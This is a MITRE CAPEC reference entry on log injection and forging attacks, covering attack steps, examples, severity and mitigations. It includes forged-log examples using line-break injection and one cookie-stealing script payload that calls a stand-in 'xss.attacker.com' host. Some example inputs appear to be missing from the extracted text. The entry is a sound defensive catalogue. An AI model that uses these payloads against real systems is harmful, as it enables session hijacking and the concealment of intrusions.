Home > CAPEC List > CAPEC-93: Log Injection-Tampering-Forging (Version 2.11)  

CAPEC-93: Log Injection-Tampering-Forging

Log Injection-Tampering-Forging
Definition in a New Window Definition in a New Window
Attack Pattern ID: 93
Abstraction: Detailed
Status: Draft
Completeness: Complete
Presentation Filter:
+ Summary

This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing him to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.

+ Attack Steps
  1. Determine Application's Log File Format: The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.

    Determine logging utility being used by application (e.g. log4j)

    Gain access to application's source code to determine log file formats.

    Install or obtain access to instance of application and observe its log file format.

  1. Manipulate Log Files: The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.

    Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example:


    may add the following forged entry into a log file:

    "[Thu Nov 12 12:11:22]:Info: User admin logged in"

    Different applications may require different encodings of the carriage return and line feed characters.

    Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain

    <script>new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);</script>

    The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).

+ Attack Prerequisites
  • The target host is logging the action and data of the user.

  • The target host insufficiently protects access to the logs or logging mechanisms.

+ Typical Severity


+ Typical Likelihood of Exploit

Likelihood: High

+ Methods of Attack
  • Analysis
  • Modification of Resources
  • Injection
+ Examples-Instances


Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php.

Related Vulnerabilities


If a user submits the string "twenty-one" for val, the following entry is logged:

INFO: Failed to parse val=twenty-one

However, if an attacker submits the string


the following entry is logged:

INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.


+ Attacker Skills or Knowledge Required

Skill or Knowledge Level: Low

This attack can be as simple as adding extra characters to the logged data (e.g. username). Adding entries is typically easier than removing entries.

Skill or Knowledge Level: Medium

A more sophisticated attack can try to defeat the input validation mechanism.

+ Probing Techniques

The attacker will try to determine which data may be logged in case of a success or failure of a predetermined action such as authentication. Once that data has been identified, the attacker may try to craft malicious data to inject.

Vulnerability testing tool can be used to test the input validation mechanism.

+ Solutions and Mitigations

Carefully control access to physical log files.

Do not allow tainted data to be written in the log file without prior input validation. Whitelisting may be used to properly validate the data.

Use synchronization to control the flow of execution.

Use static analysis tools to identify log forging vulnerabilities.

Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.

+ Attack Motivation-Consequences
ScopeTechnical ImpactNote
Modify application data
+ Injection Vector

The variable being logged

+ Payload

The malicious characters or the crafted data which should forge the log entry.

+ Activation Zone

The logging mechanism (This can be as simple as writing to a file, logging API, etc.)

+ Payload Activation Impact

Log tampering or forgery (misleading data)

+ Purposes
  • Obfuscation
+ CIA Impact
Confidentiality Impact: MediumIntegrity Impact: HighAvailability Impact: High
+ Technical Context
Architectural Paradigms
+ References
[R.93.1] [REF-29] J. Viega and G. McGraw. "Building Secure Software". Addison-Wesley. 2002.
[R.93.2] [REF-3] "Common Weakness Enumeration (CWE)". CWE-117 - Log Forging. Draft. The MITRE Corporation. 2007. <http://cwe.mitre.org/data/definitions/117.html>.
[R.92.3] A. Muffet. "The night the log was forged". <http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm>.
[R.92.4] [REF-5] "The OWASP Application Security Desk Reference". Log injection. The Open Web Application Security Project (OWASP). 2009. <http://www.owasp.org/index.php/Log injection>.
[R.92.5] [REF-41] Fortify Software. "SAMATE - Software Assurance Metrics And Tool Evaluation". Test Case ID 1579. National Institute of Standards and Technology (NIST). 2006-06-22. <http://samate.nist.gov/SRD/view_testcase.php?tID=1579>.
[R.92.6] ATT&CK Project. "Indicator Removal on Host (1070)". MITRE. <https://attack.mitre.org/wiki/Indicator_removal_on_host>.
+ Content History
CAPEC Content TeamThe MITRE Corporation2014-06-23Internal_CAPEC_Team
CAPEC Content TeamThe MITRE Corporation2015-11-09Updated ReferencesInternal
CAPEC Content TeamThe MITRE Corporation2017-05-01Updated Related_Attack_Patterns, Related_WeaknessesInternal

More information is available — Please select a different filter.
Page Last Updated or Reviewed: July 31, 2017